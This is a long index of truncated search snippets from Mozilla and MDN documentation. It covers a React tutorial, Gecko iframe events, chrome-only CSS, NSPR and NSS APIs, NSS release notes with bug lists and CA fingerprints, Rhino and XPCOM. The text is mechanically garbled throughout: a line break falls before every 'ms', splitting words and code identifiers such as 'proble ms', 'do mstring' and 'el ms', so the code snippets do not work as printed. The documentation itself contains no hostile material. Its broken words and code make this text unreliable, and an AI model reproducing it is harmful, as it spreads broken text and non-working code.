ms having fully-fledged web browsers, but possibly limited bandwidth, cpu and battery life, it is important to consider the performance of your web content on these platfor
ms.
Componentizing our React app - Learn web development
let's try the following instead of what we have already: const tasklist = props.tasks.map(task => <todo />); look again at your app; now our tasks look more like they used to, but they’re missing the names of the tasks the
mselves.
React interactivity: Editing, filtering, conditional rendering - Learn web development
update the "cancel" button in the edittemplate like so: <button type="button" classname="btn todo-cancel" onclick={() => setediting(false)} > cancel <span classname="visually-hidden">renaming {props.name}</span> </button> with this code in place, you should be able to press the "edit" and "cancel" buttons in your todo ite
ms to toggle between templates.
Beginning our React todo list - Learn web development
finally, the labels and inputs in our list ite
ms have some attributes unique to jsx: <input id="todo-0" type="checkbox" defaultchecked={true} /> <label classname="todo-label" htmlfor="todo-0"> eat </label> the defaultchecked attribute in the <input/ > tag tells react to check this checkbox initially.
Accessibility and Mozilla
here is a rundown of proble
ms and the planned solutions:mozilla's section 508 compliancemozilla’s uaag evaluation reportthe uaag document contains a very rich set of accessibility guidelines, that broadly define how accessibility should be implemented by any user agent, i.e.
Lightweight themes
tip: to ensure that your theme is approved for the gallery, be sure it complies with the content guidelines and ter
ms of service!
Theme concepts
these theme options can be implemented as static themes (although the theme images the
mselves may be animated) or as dynamic themes created in a browser extension.
Testopia
all para
ms should now be sent in a hash (struct, dict, hashmap or whatever your language of choice calls key, value pairs).
Building Mozilla
build instructions building on windows with
msys building on windows using the
msvc toolkit building on fedora core 5 compiling mozilla with mingw compiling mozilla with clang on windows seamonkey building a seamonkey package ...
Creating JavaScript callbacks in components
remember (or discover) that addeventlistener is a method of the nsidomeventtarget interface and is defined as such: void addeventlistener(in do
mstring type, in nsidomeventlistener listener, in boolean usecapture); however, it is extremely common to see developers pass a normal javascript function for the listener instead of an nsidomeventlistener implementation: function doload(event) { // do something here } window.addeventlistener("load", doload, false); revealing the magic how is this pos...
mozbrowsermanifestchange
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only do
mstring the type of event.
mozbrowserresize
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only do
mstring the type of event.
mozbrowserscroll
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only do
mstring the type of event.
mozbrowserscrollareachanged
this can occur on resize and when the page size changes (while loading for example.) general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only do
mstring the type of event.
mozbrowserselectionstatechanged
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only do
mstring the type of event.
mozbrowsertitlechange
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only do
mstring the type of event.
mozbrowservisibilitychange
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only do
mstring the type of event.
Chrome-only API reference
this page lists apis that only run in gecko chrome code (and sometimes in other privileged circu
mstances).
-moz-window-dragging
the property was added in firefox 35 to solve intermittent proble
ms related to firefox windows not being moveable when busy (bug 944836).
overflow-clip-box-block
lue="abcdefghijklmnopqrstuvwxyzÅÄÖ" class="scroll padding-box"> <div class="scroll padding-box"><span>abcdefghijklmnopqrstuvwxyzÅÄÖ</span></div> </div> css .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black; background: lime content-box; } .padding-box { overflow-clip-box-block: padding-box; } javascript function scrollsomeelements() { var el
ms = document.queryselectorall('.scroll'); for (i=0; i < el
ms.length; ++i) { el
ms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property has been proposed to the w3c csswg; it is not yet on the standard track but, if accepted, should appear in css overflow module level 3.
overflow-clip-box-inline
ue="abcdefghijklmnopqrstuvwxyzÅÄÖ" class="scroll padding-box"> <div class="scroll padding-box"><span>abcdefghijklmnopqrstuvwxyzÅÄÖ</span></div> </div> css .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black; background: lime content-box; } .padding-box { overflow-clip-box-inline: padding-box; } javascript function scrollsomeelements() { var el
ms = document.queryselectorall('.scroll'); for (i=0; i < el
ms.length; ++i) { el
ms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property has been proposed to the w3c csswg; it is not yet on the standard track but, if accepted, should appear in css overflow module level 3.
overflow-clip-box
"> <input value="abcdefghijklmnopqrstuvwxyzÅÄÖ" class="scroll padding-box"> <div class="scroll padding-box"><span>abcdefghijklmnopqrstuvwxyzÅÄÖ</span></div> </div> css .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black; background: lime content-box; } .padding-box { overflow-clip-box: padding-box; } js function scrollsomeelements() { var el
ms = document.queryselectorall('.scroll'); for (i=0; i < el
ms.length; ++i) { el
ms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property has been proposed to the w3c csswg; it is not yet on the standard track but, if accepted, should appear in css overflow module level 3.
Chrome-only CSS reference
this page lists css properties that are only available in gecko chrome code (and sometimes in other privileged circu
mstances, eg.
Chrome-only Events reference
this page lists events that are only available in gecko chrome code (and sometimes in other privileged circu
mstances, eg.
Gecko SDK
mac x86_64 download n/a n/a n/a n/a mac i386 download download download download n/a mac ppc n/a download download download download linux x86_64 download n/a n/a n/a n/a linux i686 download download download download download the sdk is not officially released for other platfor
ms; if you need it, you will probably need to build it yourself.
Gecko
view all… community view mozilla foru
ms: mailing list newsgroup rss feed related topics web standards xul embedding mozilla developing mozilla ...
Gecko's "Almost Standards" Mode
margin: do not influence the size of the line box (that is, their line-height is ignored) do not get a height (e.g., for their background) larger than that of their descendants, even if their font size is larger (if they have no descendants, they are zero-height positioned at their baseline) other than this one difference, "almost standards" and "standards" modes are exactly the same in ter
ms of layout and other behaviors.
IPDL Best Practices
the main concern you have now is that you absolutely, certainly, positively call send__delete__ in all possible circu
mstances or your protocol can and will leak.
Implementing QueryInterface
in general, i disapprove of macros except in cases where the macro must expand to different text in different situations, e.g., different platfor
ms, debugging vs.
Introduction to Layout in Mozilla
may not be directly manipulated detailed walk-through setting up content model construction frame construction style resolution reflow painting setting up assume basic knowledge of embedding and network apis (doc shell, strea
ms) content dll auto-registers a document loader factory (dlf) @mozilla.org/content-viewer-factory/view;1?type=text/html all mime types mapped to the same class, nscontentdlf nsdocshell receives inbound content via nsdsuricontentlistener invokes nsidlf::createinstance, passes mime type to dlf nscontentdlf creates a nshtmldocument object, i...
AddonListener
a listener only needs to implement the methods corresponding to the events it cares about; missing methods will not cause any proble
ms.
DownloadList
add() adds a new download to the end of the ite
ms list.
Log.jsm
info 40 numbers { "all": 0, "trace": 10, "debug": 20, "config": 30, "info": 40, "warn": 50, "error": 60, "fatal": 70 } trace 10 warn 50 repository loggerrepository logger methods void fatal(string text, [optional] object para
ms); void error(string text, [optional] object para
ms); void warn(string text, [optional] object para
ms); void info(string text, [optional] object para
ms); void config(string text, [optional] object para
ms); void debug(string text, [optional] object para
ms); void trace(string text, [optional] object para
ms); ...
PerfMeasurement.jsm
note: at present, perfmeasurement.jsm is only functional on linux, but it is planned to add support for windows (bug 583322) and osx (bug 583323) as well, and we welcome patches for other operating syste
ms.
Task.jsm
this comes in handy when iterating over function lists where some ite
ms have been converted to tasks and some not.
Timer.jsm
import it: components.utils.import("resource://gre/modules/timer.jsm"); then call settimeout and cleartimeout just as you would in a dom window, for example: let timeoutid = settimeout(function() { console.log("hello!"); }, 500); cleartimeout(timeoutid); similarly, you can use setinterval and clearinterval like so: let intervalid = setinterval(function() { console.log("happening every 500
ms!"); }, 500); clearinterval(intervalid); ...
Patches and pushes
escription> <inputencoding>utf-8</inputencoding> <image width="16" height="16">data:image/x-icon;base64,r0lgodlheaaqajecap8aaaaaap///waaach5baeaaaialaaaaaaqabaaaaipli+py+0nogquybdened2khkffwuamezmpzsfmaihphrrguum/ft+uwaaow==</image> ***this tag is optional***<url type="application/x-suggestions+json" method="get" template="http://ff.search.yahoo.com/gossip?output=fxjson&command={searchter
ms}" />*** <url type="text/html" method="get" template="http://search.yahoo.com/search"> <param name="p" value="{searchter
ms}"/> <param name="ei" value="utf-8"/> <mozparam name="fr" condition="pref" pref="yahoo-fr" /> </url> <searchform>http://search.yahoo.com/</searchform> </searchplugin> create xml files for each search plugin preference following the above example.
Research and prep
we believe that localization tea
ms are in the best position to provide recommendations on what local providers we can use for web services because you're in the market, work in the language, and know your users.
Profile Manager
backing up and restoring profiles profile manager offers two different mechanis
ms for backing up and restoring profiles.
JSHydra
documentation installing jshydra download, installation and dependency info for jshydra community view jshydra foru
ms...
L20n Javascript API
the error object is passed as the first argument to callback and can be one of the following: context.error, when there are proble
ms with setting up resources (e.g.
Localization Use Cases
ge, function(freespace) { devicestoragehelper.showformatedsize(self.appstoragedesc, 'availablesize', freespace); }); }, problem definition for all values of freespace, the following string is enough to construct a grammatically-correct sentence in english: availablesize = {{$size}} {{$unit}} available however, other languages might need to pluralize this string with different for
ms of the available adjective.
MailNews
see mailnews automated testing for a description of the other testing mechanis
ms.
McCoy
it will not run on older versions of linux and there are known proble
ms even on up to date syste
ms.
Midas
this also avoids proble
ms with bug 198155.
Date and Time
pr_
msec_per_sec pr_usec_per_sec pr_nsec_per_sec pr_usec_per_
msec pr_nsec_per_
msec types and constants types and constants defined for nspr dates and times are: prtime prtimeparameters prexplodedtime time parameter callback functions in some geographic locations, use of daylight saving time (dst) and the rule for determining the dates on which dst starts and ends have changed a few times.
IPC Semaphores
nspr provides an interprocess communication mechanism using a counting semaphore model similar to that which is provided in unix and windows platfor
ms.
Interval Timing
nspr 2.0 provides interval times that are efficient in ter
ms of performance and storage requirements.
Logging
the compile time #define values debug or force_pr_log enable nspr logging for application progra
ms.
Long Long (64-bit) Integers
64-bit integer types nspr provides two types to represent 64-bit integers: print64 pruint64 64-bit integer functions the api defined for the 64-bit integer functions is consistent across all supported platfor
ms.
Process Initialization
identity and versioning initialization and cleanup module initialization identity and versioning name and version constants pr_name pr_version pr_versioncheck initialization and cleanup nspr detects whether the library has been initialized and perfor
ms implicit initialization if it hasn't.
4.3 Release Notes
you can also give feedback directly to the developers on the mozilla cryptography foru
ms...
JSS FAQ
est.java other test code that may prove useful: org/mozilla/jss/asn1/integer.java org/mozilla/jss/asn1/sequence.java org/mozilla/jss/asn1/set.java org/mozilla/jss/pkcs10/certificationrequest.java org/mozilla/jss/pkcs12/pfx.java org/mozilla/jss/pkix/cert/certificate.java org/mozilla/jss/pkix/cmmf/certrepcontent.java org/mozilla/jss/pkix/crmf/certreq
msg.java org/mozilla/jss/pkix/crmf/certtemplate.java org/mozilla/jss/pkix/primitive/name.java org/mozilla/jss/provider/javax/crypto/jsssecretkeyfactoryspi.java org/mozilla/jss/util/utf8converter.java org/mozilla/jss/util/base64inputstream.java jss/samples/pqggen.java jss/samples/pkcs12.java if i don't call setcipherpolicy, is the domestic policy used by ...
JSS
ownload or view source download binaries, source, and javadoc view the source online testing jss tests frequently asked questions jss faq information on jss planning can be found at wiki.mozilla.org, including: nss fips validation nss roadmap page community view mozilla cryptography foru
ms...
NSS_3.11.10_release_notes.html
the tar.gz or zip file expands to an nss-3.11.10 directory containing three subdirectories: include - nss header files lib - nss shared libraries bin - nss tools and test progra
ms you also need to download the nspr 4.7.1 binary distributions to get the nspr 4.7.1 header files and shared libraries, which nss 3.11.10 requires.
NSS_3.12.1_release_notes.html
the tar.gz or zip file expands to an nss-3.12.1 directory containing three subdirectories: include - nss header files lib - nss shared libraries bin - nss tools and test progra
ms you also need to download the nspr 4.7.1 binary distributions to get the nspr 4.7.1 header files and shared libraries, which nss 3.12.1 requires.
NSS 3.12.5 release_notes
this will cause progra
ms that attempt to perform renegotiation to experience failures where they formerly experienced successes, and is necessary for them to not be vulnerable, until such time as a new safe renegotiation scheme is standardized by the ietf.
NSS 3.12.6 release notes
in ocsp.h cert_cacheocspresponsefro
msidechannel: this function is intended for use when ocsp responses are provided via a side-channel, i.e.
NSS 3.12.9 release notes
bug 609068: implement j-pake in freebl bug 607058: crash [@ nss_c
ms_decoder_work_data] bug 613394: november/december 2010 batch of nss root ca changes bug 610843: need way to recover softoken in child after fork() bug 617492: add pk11_keygenwithtemplate function to pk11wrap (for firefox sync) bug 610162: sha-512 and sha-384 hashes are incorrect for inputs of 512mb or larger when running under windows and other 32-bit platfor
ms (fx 3.6.12 and 4.0b6) bug ...
NSS 3.14 release notes
the following types have been added in nss 3.14 certchainverifycallback (in certt.h) certchainverifycallbackfunc (in certt.h) cert_pi_chainverifycallback, a new option for certvalparamintype (in certt.h) a new error code: sec_error_application_callback_error (in secerr.h) new for pkcs #11 pkcs #11 mechanis
ms: ckm_aes_cts ckm_aes_ctr ckm_aes_gcm (see warnings against using c_encryptupdate/c_decryptupdate above) ckm_sha224_key_derivation ckm_sha256_key_derivation ckm_sha384_key_derivation ckm_sha512_key_derivation changes in nss 3.14 bug 333601 - performance enhancements for intel macs when building for intel mac...
NSS 3.15.2 release notes
new pkcs #11 mechanis
ms no new pkcs#11 mechanis
ms have been introduced notable changes in nss 3.15.2 bug 880543 - support for aes-gcm ciphersuites that use the sha-256 prf bug 663313 - md2, md4, and md5 signatures are no longer accepted for ocsp or crls, consistent with their handling for general certificate signatures.
NSS 3.16.3 release notes
new functions in cert.h cert_getgeneralnametypefro
mstring - an utlity function to lookup a value of type certgeneralnametype given a human readable string.
NSS 3.16 release notes
new functions in c
ms.h nss_c
mssignerinfo_verify - verify the signature of a single signerinfo.
NSS 3.17.1 release notes
notable changes in nss 3.17.1 signature algorith
ms now use sha-256 instead of sha-1 by default.
NSS 3.19.1 release notes
nss 3.19.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_1_rtm/src/ security fixes in nss 3.19.1 bug 1138554 / cve-2015-4000 - the minimum strength of keys that libssl will accept for finite field algorith
ms (rsa, diffie-hellman, and dsa) have been increased to 1023 bits.
NSS 3.19.3 release notes
a:fd:38:3f:b0:3d:7b:7d:d7:b9:c6 cn = tc trustcenter universal ca i sha-1 fingerprint: 6b:2f:34:ad:89:58:be:62:fd:b0:6b:5c:ce:bb:9d:d9:4f:4e:39:f3 cn = tc trustcenter class 2 ca ii sha-1 fingerprint: ae:50:83:ed:7c:f4:5c:bc:8f:61:c6:21:fe:68:5d:79:42:21:15:6e the following ca certificate had the websites trust bit turned off cn = co
msign secured ca sha1 fingerprint: f9:cd:0e:2c:da:76:24:c1:8f:bd:f0:f0:ab:b6:45:b8:f7:fe:d5:7a the following ca certificates were added cn = tÜrktrust elektronik sertifika hizmet sağlayıcısı h5 sha1 fingerprint: c4:18:f6:4d:46:d1:df:00:3d:27:30:13:72:43:a9:12:11:c6:75:fb cn = tÜrktrust elektronik sertifika hizmet sağlayıcısı h6 ...
NSS 3.30 release notes
new functions in cert.h cert_compareava - perfor
ms a comparison of two certava structures, and returns a seccomparison result.
NSS 3.31 release notes
corrected the encoding of domain name constraints extensions created by certutil nss supports a clean seeding mechanism for *nix syste
ms now using only /dev/urandom.
NSS 3.32 release notes
:b8:f4:dc:d0:60:16 cn = china internet network information center ev certificates root sha-256 fingerprint: 1c:01:c6:f4:db:b2:fe:fc:22:55:8b:2b:ca:32:56:3f:49:84:4a:cf:c3:2b:7b:e4:b0:ff:59:9f:9e:8c:7a:f7 cn = cnnic root sha-256 fingerprint: e2:83:93:77:3d:a8:45:a6:79:f2:08:0c:c7:fb:44:a3:b7:a1:c3:79:2c:b7:eb:77:29:fd:cb:6a:8d:99:ae:a7 cn = co
msign secured ca sha-256 fingerprint: 50:79:41:c7:44:60:a0:b4:70:86:22:0d:4e:99:32:57:2a:b5:d1:b5:bb:cb:89:80:ab:1c:b1:76:51:a8:44:d2 cn = geotrust global ca 2 sha-256 fingerprint: ca:2d:82:a0:86:77:07:2f:8a:b6:76:4f:f0:35:67:6c:fe:3e:5e:32:5e:01:21:72:df:3f:92:09:6d:b7:9b:85 cn = secure certificate services sha-256 fingerprint: bd:81:ce:3b:4f:65...
NSS 3.33 release notes
this version of nss uses a formally verified implementation of curve25519 on 64-bit syste
ms.
NSS 3.35 release notes
this is not expected to cause proble
ms; code compiled against previous versions of tls will now refer to an unsupported codepoint, if this value was used.
NSS 3.36.1 release notes
that change had caused an interoperability regression with operating syste
ms that are limited to 600 k iterations.
NSS 3.36.6 release notes
this is a patch release to fix cve-2018-12404 bugs fixed in nss 3.36.6 bug 1485864 - cache side-channel variant of the bleichenbacher attack (cve-2018-12404) bug 1389967 and bug 1448748 - fixes for mingw on x64 platfor
ms.
NSS 3.36.7 release notes
bugs fixed in nss 3.36.7 bug 1507135 and bug 1507174 - add additional null checks to several c
ms functions to fix a rare c
ms crash.
NSS 3.41.1 release notes
bugs fixed in nss 3.41.1 bug 1507135 and bug 1507174 - add additional null checks to several c
ms functions to fix a rare c
ms crash.
NSS 3.41 release notes
c18d91b4cfdffbc25ee9103d4758ea2abad826a90f3457d460eb4 cn = opentrust root ca g2 sha-256 fingerprint: 27995829fe6a7515c1bfe848f9c4761db16c225929257bf40d0894f29ea8baf2 cn = opentrust root ca g3 sha-256 fingerprint: b7c36231706e81078c367cb896198f1e3208dd926949dd8f5709a410f75b6292 bugs fixed in nss 3.41 bug 1412829, reject empty supported_signature_algorith
ms in certificate request in tls 1.2 bug 1485864 - cache side-channel variant of the bleichenbacher attack (cve-2018-12404) bug 1481271 - resend the same ticket in clienthello after helloretryrequest bug 1493769 - set session_id for external resumption tokens bug 1507179 - reject ccs after handshake is complete in tls 1.3 this bugzilla query returns all the bugs fixed in nss ...
NSS 3.42.1 release notes
bugs fixed in nss 3.42.1 bug 1507135 and bug 1507174 - add additional null checks to several c
ms functions to fix a rare c
ms crash.
NSS 3.42 release notes
bugs fixed in nss 3.42 bug 1490006 - reject invalid ch.legacy_version in tls 1.3 bug 1507135 and bug 1507174 - add additional null checks to several c
ms functions to fix a rare c
ms crash.
NSS 3.43 release notes
note that while the mechanism is present, post-handshake authentication is currently not tls 1.3 compliant due to bug 1532312 notable changes in nss 3.43 the following ca certificates were added: cn = e
msign root ca - g1 sha-256 fingerprint: 40f6af0346a99aa1cd1d555a4e9cce62c7f9634603ee406615833dc8c8d00367 cn = e
msign ecc root ca - g3 sha-256 fingerprint: 86a1ecba089c4a8d3bbe2734c612ba341d813e043cf9e8a862cd5c57a36bbe6b cn = e
msign root ca - c1 sha-256 fingerprint: 125609aa301da0a249b97a8239cb6a34216f44dcac9f3954b14292f2e8c8608f cn = e
msign ecc root ca - c3 ...
NSS 3.44.1 release notes
rough input checking (cve-2019-11729) 1540541 - don't unnecessarily strip leading 0's from key material during pkcs11 import (cve-2019-11719) 1515236 - add a sslkeylogfile enable/disable flag at build.sh 1473806 - fix seckey_converttopublickey handling of non-rsa keys 1546477 - updates to testing for fips validation 1552208 - prohibit use of rsassa-pkcs1-v1_5 algorith
ms in tls 1.3 (cve-2019-11727) 1551041 - unbreak build on gcc < 4.3 big-endian compatibility nss 3.44.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.44 release notes
bugs fixed in nss 3.44 1501542 - implement checkar
msupport for android 1531244 - use __builtin_bswap64 in crypto_primitives.h 1533216 - cert_decodecertpackage() crash with netscape certificate sequences 1533616 - sdb_getattributevaluenolock should make at most one sql query, rather than one for each attribute 1531236 - provide accessor for certcertificate.dercert 1536734 - lib/freebl/crypto_primitives.c assumes a big endian machine 1532384 - ...
NSS 3.45 release notes
374 - cn = certinomis - root ca sha-256 fingerprint: 2a99f5bc1174b73cbb1d620884e01c34e51ccb3978da125f0e33268883bf4158 bugs fixed in nss 3.45 bug 1540541 - don't unnecessarily strip leading 0's from key material during pkcs11 import (cve-2019-11719) bug 1515342 - more thorough input checking (cve-2019-11729) bug 1552208 - prohibit use of rsassa-pkcs1-v1_5 algorith
ms in tls 1.3 (cve-2019-11727) bug 1227090 - fix a potential divide-by-zero in makepfromqandseed from lib/freebl/pqg.c (static analysis) bug 1227096 - fix a potential divide-by-zero in pqg_verifypara
ms from lib/freebl/pqg.c (static analysis) bug 1509432 - de-duplicate code between mp_set_long and mp_set_ulong bug 1515011 - fix a mistake with chacha20-poly1305 test code where tags could be fak...
NSS 3.46 release notes
l -changepw fails in fips mode if password is an empty string bug 1564727 - use a pss spki when possible for delegated credentials bug 1493916 - fix ppc64 inline assembler for clang bug 1561588 - remove -wmaybe-uninitialized warning in p7env.c bug 1561548 - remove -wmaybe-uninitialized warning in pkix_pl_ldapdefaultclient.c bug 1512605 - incorrect alert description after unencrypted finished
msg bug 1564715 - read /proc/cpuinfo when at_hwcap2 returns 0 bug 1532194 - remove or fix -ddebug_$user from make builds bug 1565577 - visual studio's cl.exe -?
NSS 3.49.2 release notes
bug 1608327 - fix compilation proble
ms with neon-specific code in freebl bug 1608895 - fix a taskcluster issue with python 2 / python 3 this bugzilla query returns all the bugs fixed in nss 3.49: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.49 compatibility nss 3.49.2 shared libraries are backward compatible with all older nss 3.x shared ...
NSS 3.49 release notes
bug 1606025 - remove -wmaybe-uninitialized warning in sslsnce.c bug 1606119 - fix ppc hw crypto build failure bug 1605545 - memory leak in pk11install_platform_generate bug 1602288 - fix build failure due to missing posix signal.h bug 1588714 - implement checkar
msupport for win64/aarch64 bug 1585189 - nss database uses 3des instead of aes to encrypt db entries bug 1603257 - fix ubsan issue in softoken ckm_nss_chacha20_ctr initialization bug 1590001 - additional hrr tests (cve-2019-17023) bug 1600144 - treat clienthello with message_seq of 1 as a second clienthello bug 1603027 - test that esni is regenerated after helloretryrequest bug 1593167 - inter...
NSS Config Options
rc2 rc4 idea ssl key exchanges rsa rsa-export dhe-rsa dhe-dss dh-rsa dh-dss ecdhe-ecdsa ecdhe-rsa ecdh-ecdsa ecdh-rsa restrictions for asymmetric keys (integers) rsa-min dh-min dsa-min constraints on ssl protocols versions (integers) tls-version-min tls-version-max constraints on dtls protocols versions (integers) dtls-version-min dtls-version-max policy flags for algorith
ms ssl ssl-key-exchange key-exchange cert-signature signature all none ...
NSS Sample Code sample6
*/ if (slot == null) { fprintf(stderr, "unable to find security device (err %d)\n", pr_geterror()); return; } keyid[0] = id; keyiditem.type = sibuffer; keyiditem.data = (void *)keyid; keyiditem.len = sizeof(keyid[0]); /* note: keysize must be 0 for fixed key-length algorith
ms like des.
nss tech note4
secitem_freeitem(&data.maxusers, pr_false); } } some miscellaneous helper functions compare two secite
ms (e.g., two oids) prbool secitem_ite
msareequal(const secitem *a, const secitem *b); interpreting a secitem value as an integer if secitem *item->len <=4, then int value = der_getinteger(item); interpreting a secitem value as a string use string copy functions to copy item->len bytes from item->data and null terminate explicitly some...
PKCS11 Implement
c_getmechanismlist the nss calls c_getmechanismlist fairly frequently to identify the mechanis
ms supported by a token.
FC_Initialize
in addition to creating the internal data structures, it perfor
ms the fips software integrity test and power-up self-tests.
NSS Key Functions
if you attempt to do so, the change affects all the shallow copies of that structure and can cause severe proble
ms.
NSS Tools Man Pages - work in progress
certutil certutil pk12util pk12util modutil modutil crlutil crlutil c
msutil c
msutil vfychain vfychain vfyserv vfyserv ssltap ssltap this is still a work in progress and in early stages.
OLD SSL Reference
ssl, pkcs #11, and the default security databases setting up the certificate and key databases setting up the ca db and certificate setting up the server db and certificate setting up the client db and certificate verifying the server and client certificates building nss progra
ms chapter 3 selected ssl types and structures this chapter describes some of the most important types and structures used with the functions described in the rest of this document, and how to manage the memory used for them.
sslkey.html
if you attempt to do so, the change affects all the shallow copies of that structure and can cause severe proble
ms.
NSS Tools
source, documentation, tasks/plans c
msutil 1.0 perfor
ms basic c
ms operations such as encrypting, decrypting, and signing messages.
Utility functions
secitem_allocitem mxr 3.2 and later secitem_arenadupitem mxr 3.9 and later secitem_compareitem mxr 3.2 and later secitem_copyitem mxr 3.2 and later secitem_dupitem mxr 3.2 and later secitem_freeitem mxr 3.2 and later secitem_ite
msareequal mxr 3.8 and later secitem_zfreeitem mxr 3.2 and later seckey_copyencryptedprivatekeyinfo mxr 3.2 and later seckey_copyprivatekeyinfo mxr 3.2 and later seckey_creatersaprivatekey mxr 3.2 and later seckey_destroyencryptedprivatekeyinfo mxr 3...
modutil-tasks.html
a fix was made for "hpux b.11.00," but issues may still arise for platfor
ms like "linux 2.2.12-20." documentation needs to be explicit about the use of fo ...
NSS Tools modutil-tasks
a fix was made for "hpux b.11.00," but issues may still arise for platfor
ms like "linux 2.2.12-20." documentation needs to be explicit about the use of fo ...
NSS Tools pk12util
availability see the release notes for the platfor
ms this tool is available on.
NSS Tools signver-tasks
nss security tools: signver tasks newsgroup: mozilla.dev.tech.crypto task list remove private hash algortih
ms and replace with code in lib/hash, lib/crypto, and ...
NSS Tools ssltap
it can do this for plain http connections or any tcp protocol, as well as for ssl strea
ms, as described here.
The Necko HTTP module
http logging this document describes how to enable http logging for various platfor
ms.
Necko
browse our code in its latest state at netwerk/ documents a necko code walkthrough necko architecture necko multithreading necko faq necko interfaces overview the necko http module proxies in necko pac files community view mozilla foru
ms...
Rhino Debugger
console window the debugger redirects the system.out, system.in, and system.err strea
ms to an internal javascript console window which provides an editable command line for you to enter javascript code and view system output.
Tutorial: Embedding Rhino
the javascript feature calledliveconnect allows javascript progra
ms to interact with java objects: $ java runscript "java.lang.system.out.println(3)" 3.0 undefined implementing interfaces using rhino, javascript objects can implement arbitrary java interfaces.
Rhino history
also, the implementation effectively leaked memory since most jv
ms don't really collect unused classes or the strings that are interned as a result of loading a class file.
Rhino optimization
another benefit of the interpreted mode is that the interpreter perfor
ms tail-call elimination of recursive functions.
Rhino overview
string.prototype.split for version 1.2 only, split perfor
ms the perl4 special case when given a single space character as an argument (skips leading whitespace, and splits on whitespace).
Performance Hints
arrays use the for
ms of the array constructor that specify a size or take a list of initial elements.
The JavaScript Runtime
instead, every property accessor method in scriptable (has, get, set, remove, getattributes, and setattributes) has overloaded for
ms that take either a string or an int argument.
Creating JavaScript jstest reftests
performance tests or stress tests tests of spidermonkey's comformance to the ecmascript standard a brief history: in 2017, spidermonkey started co
msuming test262, a comprehensive tests suite for ecmascript implementations.
GC Rooting Guide
for example, instead of this: struct heapstruct { jsobject*
msomeobject; js::value
msomevalue; }; you should write: struct heapstruct { js::heap<jsobject*>
msomeobject; js::heap<js::value>
msomevalue; }; tracing js::nativeobject all gc pointers stored on the heap must be traced.
Statistics API
for example, the sweep phase includes the time for the sweep_ato
ms, sweep_tables, sweep_compartments phases and so on.
Property cache
if there is a cache miss, the jit perfor
ms parts 1 and 2 of the property access and fills the cache to avoid redoing that work in the interpreter.
Self-hosted builtins in SpiderMonkey
throwtypeerror, throwrangeerror, throwsyntaxerror, which self-hosted code should use instead of throw so that the error message is specified in js.
msg and can be localized.
JS::Add*Root
the garbage collector aggressively collects and recycles memory that it dee
ms unreachable, so roots are often necessary to protect data from being prematurely collected.
JS::Call
in ter
ms of function execution, the object is treated as this.
ROLE_GRAPHIC
interfaces nsiaccessible nsiaccessnode nsiaccessibleimage nsiaccessiblehyperlink mapped to at-spi: atk: atk_role_image ua: nsaccessibilityimagerole
msaa/ia2: role_system_graphic used by aria: img xul: <image/> html: <img> ...
ROLE_MENUITEM
mapped to at-spi: role_menu_item atk: atk_role_menu_item ua: nsaccessibilitymenuitemrole
msaa/ ia2: role_system_menuitem used by aria: menuitem xul: <menuitem/> ...
ROLE_OUTLINEITEM
interfaces nsiaccessibletreecache nsiaccessible nsiaccessibleselectable nsiaccessnode mapped to at-spi: role_list_item atk: atk_role_list_item ua: nsaccessibilityrowrole (use outlinerow as subrole)
msaa/ia2: role_system_outlineitem used by aria: treeitem html: ??
ROLE_ROW
interfaces nsiaccessible nsisupports nsiaccessiblehyperlink nsiaccessibleselectable mapped to at-spi: role_list_item atk: atk_role_list_item ua: nsaccessibilityrowrole
msaa/ia2: role_system_row used by aria: row html: <tr> xul:<listitem/> ...
ROLE_TABLE
mapped to at-spi: role_table atk: atk_role_table ua: nsaccessibilitygrouprole
msaa/ia2: role_system_table used by aria: grid html: <table> xul: <listbox/> ...
Gecko states
in this case, the client application can communicate all ite
ms in the list to users.
Mork
meta-rows do not appear to be used at all, although the parser see
ms to consider setting the charset, row scope, and atom scope.
Places Expiration
this means on mobile and old syste
ms expiration will be more aggressive than on high-end hardware, to try keep the database size at a reasonable (and performant) value.
Using the Places keywords API
keywords represent an alias for the given url in the autocomplete (aka awesomebar) field, with smart replacement of query ter
ms.
Generic factory
it see
ms to me that we can cut down on code size (all those queryinterface, addref, release implementations) if we just use the following class for all of the simple factories: // idea: why not create a generic factory facility so we can avoid // duplication of so much nsifactory code?
Resources
this material may be distributed only subject to the ter
ms and conditions set forth in the open publication license, v1.02 or later.
Creating XPCOM components
this material may be distributed only subject to the ter
ms and conditions set forth in the open publication license, v1.02 or later.
Introduction to XPCOM for the DOM
the syntax of xpidl is straightforward: #include "do
mstubs.idl"; [scriptable, uuid(xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)] interface nsidomfabian : nsisupports { void fabian(); readonly attribute boolean neat; }; this is the definition of the nsidomfabian interface.
Components.classes
sarray); which is a shortcut to var obj = components.classes["@mozilla.org/supports-array;1"] .createinstance(); obj.queryinterface(components.interfaces.nsisupportsarray); if you don't provide a specific interface to createinstance(), it will return an xpconnect wrapper for the component, which only exposes the methods of the nsisupports interface (and under certain circu
mstances the special wrappedjsobject property).
Components.lastResult
